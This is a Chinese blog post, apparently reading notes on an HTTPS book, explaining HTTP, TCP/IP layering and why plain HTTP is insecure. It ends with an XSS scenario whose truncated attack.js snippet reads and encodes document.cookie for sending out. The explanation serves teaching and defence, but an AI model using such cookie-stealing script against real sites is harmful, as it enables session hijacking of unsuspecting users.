什么是HTTP?为什么是不安全的? |
您所在的位置:网站首页 › 下载一个爆米花网站安全吗是真的吗 › 什么是HTTP?为什么是不安全的? |
我们在输入网址的时候一般是www.baidu.com,浏览器都会自动帮我们加上HTTP或者HTTPS这样的前缀,国内对于HTTPS讲解的书很少,最近有空拜读了《深入浅出https:从原理到实战》这本书,接下来会分几次表述一下对于这本书的一些笔记或者理解。
了解HTTPS之前需要先了解HTTP,知道了HTTP的局限,才能掌握HTTPS安全的本质。 基本概念
在TCP/IP网络协议成熟以后,世界上任何的设备只要支持TCP/IP就能成为互联网的一个终端,我们安装的浏览器都安装了这个协议。
当TCP/IP逐步流行后,数据传输变得非常容易,任何终端,不管是个人计算机还是手机设备,只要支持TCP/IP,数据就能够从世界上任意一端传输到另外一端,距离不再是问题。
但互联网传输字节流数据不是人能够看得懂的,为了翻译这些数据,让通信的两方用同样的方式去解读这些数据,我们必须定义一个标准,这样两边才能正确的解读数据内容,这就是应用层HTTP的雏形。
HTTP到现在能够传输的数据类型越来越多,有文字、图片、视频等,有了协议,有了内容,如何把这些内容串联起来。
HTTP的意思是超文本传输协议,其中的超文本的意思是关联关系,就是可以从一个地方跳到另外一个地方,就是我们常用的URL,URL代表的互联网的一个资源的地址。
最终Web技术产生了,Web技术是Tim Berners-Lee教授在1980年提出的一个设想,主要包括三个技术,分别是HTML、URL、HTTP。即使到今天,Web模型也没有太大的变化
HTTP概念:超文本传输协议,超文本就是HTML,传输表示由HTTP负责客户端和服务器的数据传输和解析。客户端发送一个HTTP请求至服务器,服务器响应该请求,将数据再发送给客户端。HTTP由一系列规则组成,客户端和服务器需要正确的处理这些规则,HTTP可以认为是信息的载体,信息的内容是由HTML页面组成的。
URL概念:Web由很多资源组成,比如HTML页面、视频、图片,在互联网上每个资源都有一个编号,这个编号就是URL地址。服务器负责定义URL,世界上任何一个资源的编号是唯一的,客户端通过URL地址在互联网中找到该资源,URL的官方名称叫作统一资源标识符(Uniform ResourceLocator)。
URL的规则定义如下:
http://www/example.com:80/index.html
http表示资源需要通过HTTP这个协议才能够获取,换句话说,客户端需要通过HTTP这个协议请求这个资源。
www.example.com表示服务器地址,在互联网中每个服务器都有一个IP地址,但对于用户来说IP地址很难记住,用户一般只会记住服务器主机(比如www.baidu.com的ip是180.101.49.11,但我们进百度的时候都不会输入IP,只会输入网址)名称。
在HTTP中,客户端发送HTTP请求的时候,必须通过DNS协议将服务器主机名转换为IP地址,这样客户端才能找到服务器。80是HTTP协议的默认端口(可以省略不输入),表示服务器通过80端口提供HTTP服务。/index.html表示服务器在/根目录下有一个index.html资源。这就是URL的全部,主要是定义资源的互联网地址,URL虽然和HTTP是紧密关联的,但在Web中是互相独立的。
HTML概念:早期的互联网传输的就是文字,后来为了方便阅读加入了一些样式,比如加粗,换行,标红等等,对文字进行特殊的处理,还可以通过URL来进行图片和视频资源的引用。这些对文字进行特殊处理的规则发展成CSS和JS语言,他们都是HTML的一部分。
Web,大家可能有一个概念,在浏览器中输入一个网址,返回对应网站的页面,然后点点点或者搜索就能找到我们需要的内容,这些返回的内容通过F12键位查看,其实是一个个HTML的页面,这些页面就构成了Web,也被称为WWW(world wide web)。
在web访问中,我们从浏览器发出请求,浏览器就是客户端,接受请求的就是服务器,比如我们在百度里面搜索西红柿,浏览器就会把这个请求发送到百度的服务器,服务器返回搜索的内容,这个过程中HTTP扮演的是数据请求和响应的角色,真正的数据传输是由其他网络层进行处理的。
Web其实是我们常说的互联网的一部分,互联网还包含邮件应用、FTP等,现在我们基本认为web就是互联网。
Web最核心的内容就是HTTP,HTTP由服务器和客户端组成,有了HTTP不同的终端才能交换数据。 理解HTTP
以谷歌浏览器的请求为例,以上是一个简单的请求,请求的URL是http://www.example.com/index.html,请求的方式是get请求,如果对资源做一定的修改的话一般是post请求,status code表示请求的状态,200 ok表示请求和返回都正常,异常的有400、404等。
Remote address表示请求服务器的IP地址和端口,从请求可以看出请求域名最终会被解析成IP地址。
上面是请求的头包含的一些参数: Accept-Encoding:gzip 表示浏览器支持的数据压缩算法是gzip,压缩之后传输的内容会更小,目的是为了更快的传输,参数是gzip等于告之服务器,是否可以使用gzip算法压缩响应后再发送。服务器收到请求后解析Accept-Encoding头部,了解客户端希望使用gzip压缩算法压缩HTTP响应。如果服务器支持gzip压缩算法,会对所有的HTML响应压缩后再发送给客户端(头部并不压缩),为了让客户端知道响应是经过gzip压缩的,需要输出Content-Encoding:gzip头部,如果服务器不支持gzip算法,也可以原样将HTML响应发送给客户端,并且不输出Content-Encoding头部。
Connection: keep-alive 当一个网页打开之后,等于客户端和服务端已经建立起了TCP连接,连接参数是keep-alive表示后面客户端的访问会继续使用这个连接而不必再次建立,如果随时关闭的话可以设置为close,这个连接不是一直连接,而是有一定的时间,可以在服务器上进行设置。
Host:www.example.com 需要DNS解析器进行解析。加入你在阿里云购买了一个服务器和一个域名,需要将域名和服务器进行绑定,也就是让DNS能够把你的域名解析成你服务器的IP。
User-Agent: Mozilla/5.0 客户端的浏览器版本。
上面是返回的头,下面是返回的HTML内容: Example Domain body { background-color: #f0f0f2; margin: 0; padding: 0; font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif; } div { width: 600px; margin: 5em auto; padding: 2em; background-color: #fdfdff; border-radius: 0.5em; box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02); } a:link, a:visited { color: #38488f; text-decoration: none; } @media (max-width: 700px) { div { margin: 0 auto; width: auto; } } Example DomainThis domain is for use in illustrative examples in documents. You may use this domain in literature without prior coordination or asking for permission. More information... 这个HTML在浏览器上显示出来就是:
HTTP有以下几个特点: 客户端/服务器模型HTTP是一个客户端/服务器模型, 它本身是不能传输的,需要通过网络层中的其他协议进行通信,一般构建在TCP之上。TCP能够提供一个可靠的、面向连接的传输服务,换句话说,客户端和服务器是否正确传输依赖于TCP这个协议。 2)HTTP是无状态的 HTTP是基于TCP的,早期的请求完成之后TCP连接会关闭,完全和上一次的请求没有关系。 在互联网早期,可以说这种设计很好,但是现在的Web应用越来越丰富,无状态的设计已经不能适应新的情况,为了保持状态,出现了Cookie和Session技术,但是Cookie技术设计得非常不严谨,引发了很多安全问题。。 3)HTTP是跨平台的 通过上面的讲解,读者知道HTTP就是具备一定规则的纯文本信息,任何开发语言都可以实现HTTP或者基于HTTP进行开发,开发出来的软件也很容易移植,受系统环境的影响非常少。 4)HTTP用途很广泛 Web主要使用HTTP进行传输数据,HTTP更多的是一个数据载体,对于Web应用来说更重要的是浏览器如何处理这些数据,这些本身和HTTP关系并不大。考虑到HTTP如此简单,基于HTTP的应用非常多,比如,不管是iOS还是Andriod应用,都需要调用基于HTTP的API接口。 TCP/IP概述 TCP/IP是标准的互联网网络协议,没有该协议就没有互联网,互联网上的终端必须配置TCP/IP才能进行通信。
任何协议都是一种标准,标准的含义就是通信双方需要遵循相同的规则,才能互相协作。想象两个人互相打电话,拨打电话的人首先要知道对方的手机号(IP地址),然后拨打电话确保连接上对方(TCP),通过IP选择一条最优的传输路径,最终应用层数据(人的语言)通过终端(网卡)、网络设备(电话线)传输给对方。 它的层级大概如下:
应用层 如果没有应用层,那么网络中传输的数据没有任何意义,因为人类无法理解数据的含义。而有了应用层,软件就能解释应用层数据的含义。在Web应用中,有了HTTP和HTML标准,浏览器才能呈现对用户有意义的内容。应用层协议有很多,比如HTTP、FTP、邮件协议,开发者开发的软件一般都是应用层协议软件。 传输层客户端传输层接收到应用层消息后,负责连接服务器,但服务器有很多服务,服务器如何知晓客户端需要连接的服务呢?传输层中通过端口来区分服务,通过IP地址和端口号才能构建一条传输通道,对于HTTP来说,服务器端口号默认是80,而客户端的端口是随机产生的。传输层主要有TCP和UDP, TCP能够保证数据正确地到达,一旦出现错误,会有一系列处理机制,比如重发和校验机制,保证数据正确地传输到对端。HTTP构建在TCP之上,在连接阶段,TCP使用三次握手机制确保可靠传输。
1.初始化连接,客户端发送SYN消息(随机值x)请求一个新连接。 2.服务器接收SYN消息,发送SYN ACK响应消息。 3.客户端发送ACK消息确认本次连接成功。 UDP不能保证数据正确传达,比如客户端收到数据后,不会向服务器确认本次接收到的数据有多少,所以服务器也无法确认客户端是否正确收到了数据,UDP的优点就是性能高,减少了很多开销。 网络层网络层主要是IP这个协议,客户端和服务器传输的时候,会经过很多节点,IP就是选择一条最优的路径。每个终端上都有一张路由表,路由表负责将数据传输到下一个节点,下一个节点再传输到下下个节点,最终到达目的地址。 链路层应用层、传输层、网络层都是虚拟的,只有链路层才是实体设备,包括光纤、网卡等设备。基于这些设备,数据最终才能到达终端。
接下来简单描述封包/拆包机制,对于客户端请求来说,传输层接收到应用层消息后,在HTTP数据包前面增加TCP包头,然后发送给网络层;网络层在TCP数据包前面加上IP包头发送给链路层;链路层在IP数据包前面加上以太网包头;最终服务器接收到完整的数据包。
然后服务器进行拆包:首先在网络层去除链路层包头;在传输层去除IP包头;在应用层去除TCP包头;最终得到完整的HTTP应用层数据。
协议安全分析
知道了基本的概念,下面分析互联网安全,包括两部分: HTTP本身的安全和Web应用的安全。
HTTP安全: 无线WIFI攻击:现在走到哪里先问WiFi密码,但是一些攻击者会提供免费的WiFi,当你使用HTTP协议的情况下,连接这些WiFi的时候,你将没有任何的隐私。提供WiFi的人可以截获所有的HTTP流量,而HTTP流量本身都是明文的,这就导致任何的个人信息、密码等全部被截获,而使用这些WiFi的人并没有感知,这叫被动攻击。 垃圾广告攻击:很多用户浏览某个网页的时候,经常发现页面上弹出一个广告,而这个广告和访问的网页根本毫无关系,这种攻击很常见,主要是ISP(互联网服务提供商)发动的一个攻击,用户根本没有任何办法防护。用户访问网站的时候肯定经过ISP, ISP为了一些目的,比如获取广告费用,在响应中插入一段HTML代码,就导致了该攻击的产生。这种攻击称为主动攻击,也就是攻击者知晓攻击的存在。这种攻击用户还能忍受,更严重的是ISP或者攻击者在页面中插入一些恶意JavaScript脚本,脚本一旦在客户端运行可能会产生更恶劣的后果,比如XSS攻击(跨站脚本攻击)。 协议不安全的根本原因: 数据没有加密:HTTP本身传递的是明文,不会加密这些信息,只要攻击者能够获取这些明文,用户的隐私就完全暴露了。HTTP是基于TCP/IP的,TCP/IP的特点也决定了HTTP数据很容易被截获,网络传输过程中,路由策略决定HTTP数据会通过很多节点设备,节点很轻松就能截获明文数据,由于数据没有加密,很容易理解其含义。 2.无法验证身份 在HTTP应用中,客户端和服务器并不能确认对方的身份,在HTTP标准中,没有校验对端身份的标准。对于服务器来说,它接收的HTTP请求格式只要正确,就发送响应信息。对于客户端来说同样如此,它连接的是www.example.com主机,但由于有中间节点的存在,最终连接的可能是www.example.cn主机,但对于客户端来说,它无法校验服务器的身份。 3.数据易篡改 HTTP数据在传输过程中,会经过很多节点,这些节点都可以修改原始数据,而对于客户端和服务器来说,没有任何技术来确保接收的数据就是发送者发送的原始数据。 由于没有机制确保数据的完整性,客户端和服务器只能无条件信任接收到的数据,这也产生了很多安全问题,篡改数据也叫作中间人攻击。比如ISP插入广告的例子,如果有一种机制能够让浏览器知晓数据已经被篡改,那么浏览器就可以告知用户危险,并中断本次请求。
Web应用安全 HTTP只负责数据传输,真正的攻击对象是浏览器(用户)和服务器(数据)。
互联网早期服务器负责输出数据,客户端基于HTML负责渲染,标签和元素非常少,这种群情况下攻击只要构建一条不规范的HTTP请求就行了,也有利用程序的漏洞来进行SQL注入破坏服务器数据。
互联网中期HTML扩展了很多标签,脚本语言JS等广泛使用,在客户端完成的逻辑越来越多,可供攻击的模式也越来越多,执行恶意脚本等成为常见的手法。
这里以常见的XSS攻击方式进行说明,XSS就是利用应用程序的漏洞,诱使用户触发恶意代码,从而自动发送恶意的HTTP请求至服务器,造成自动攻击。
通过一个博客系统来描述XSS攻击:
攻击者发现一个博客系统存在漏洞,发表文章的时候,服务器没有转义或者过滤数据
攻击者用账号登录博客系统,打开文章编辑器,输入正常的内容,但是在文章末尾加入一段恶意代码()。 由于服务器没有任何的校验机制,所以正常生成了一篇文章,比如http://www.example.com/article.html。
攻击者将这篇文章的地址发送到各大论坛,或者将文章地址用邮件发送给其他人。
不明真相的人一旦打开这篇文章,浏览器就会下载并置执行attack.js文件,由于该文件包含了恶意代码,就可以进行攻击 $ (function() { var cookie = encodeURIComponent (document. cookie) $(’ |
今日新闻 |
点击排行 |
|
推荐新闻 |
图片新闻 |
|
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭 |